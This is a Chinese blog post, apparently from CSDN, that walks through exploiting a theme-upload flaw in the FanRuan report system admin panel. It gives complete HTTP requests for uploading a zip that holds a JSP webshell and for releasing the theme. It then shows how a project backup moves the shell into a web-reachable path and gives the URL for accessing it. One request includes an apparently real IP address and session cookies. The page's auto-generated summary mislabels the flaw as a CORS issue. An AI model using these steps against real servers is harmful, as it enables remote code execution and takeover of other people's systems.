帆软后台(外观配置-主题)文件上传漏洞

文章描述了在帆软管理系统中,通过上传主题压缩包并利用CORS漏洞,成功在非Web目录下植入Webshell。攻击者需备份整个工程并将Webshell移动到Web目录的过程也详细阐述。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞利用

帆软上传主题获取shell(管理系统-外观配置)
添加主题上传的压缩包中放入shell.jsp马 (没有添加主题功能直接构造数据包)
image.png

POST /WebReport/ReportServer?op=fr_attach&cmd=ah_upload&filename=test.zip&width=240&height=198 HTTP/1.1
Host: xxx
Content-Length: 749
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: multipart/form-data; boundary=AjaxUploadBoundary1638899444076, multipart/form-data
Accept: */*
Origin: https://xx
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryNN5BrMluNxGE4HCB
Content-Disposition: form-data; name="FileData"; filename="test.zip"
Content-Type: application/zip

zip内容
------WebKitFormBoundaryNN5BrMluNxGE4HCB--

注意:
此处用burpsuite “paster from file”压缩包会出问题,需要在burpsuite修改如下即可正常。
image.png
image.png
获取上传ID后通过接口通过下面的数据包释放主题。

POST /WebReport/ReportServer?op=fs_manager&cmd=save_theme HTTP/1.1
Host: xx
Cookie: JSESSIONID=82B5084E106B1F09978248EE247E1E84; fr_password=""; fr_remember=false
Content-Length: 49
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://60.222.220.228
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://xxx/WebReport/ReportServer?op=fs
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: JSESSIONID=7BC53BE2461251A5B8A2D097FFE8986D; fr_remember=false; fr_password=; fr_username=admin; td_cookie=3756473647

id=f0757ae6-08fe-4704-9617-5dc7a3880096&serverID=

image.png
当上传压缩包名称为shell.zip则会将木马释放在
/webapps/WebReport/WEB-INF/resources/fstheme/fs-theme-test/目录下名称为app.jsp,但当前目录并非 web 目录,web 无法访问 webshell。
image.png
为了将 webshell 移动要 web 目录,需要整体工程备份,备份文件夹名称为“222”
/webapps/WebReport/bakup/all_bakup/manualbackup/222/WEB-INF/resources/fstheme/fs-theme-app/ 路径下。
image.png
直接访问Shell地址:
http://xxxx/WebReport/bakup/all_bakup/manualbackup/222/WEB-INF/resources/fstheme/fs-theme-test/app.jsp
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值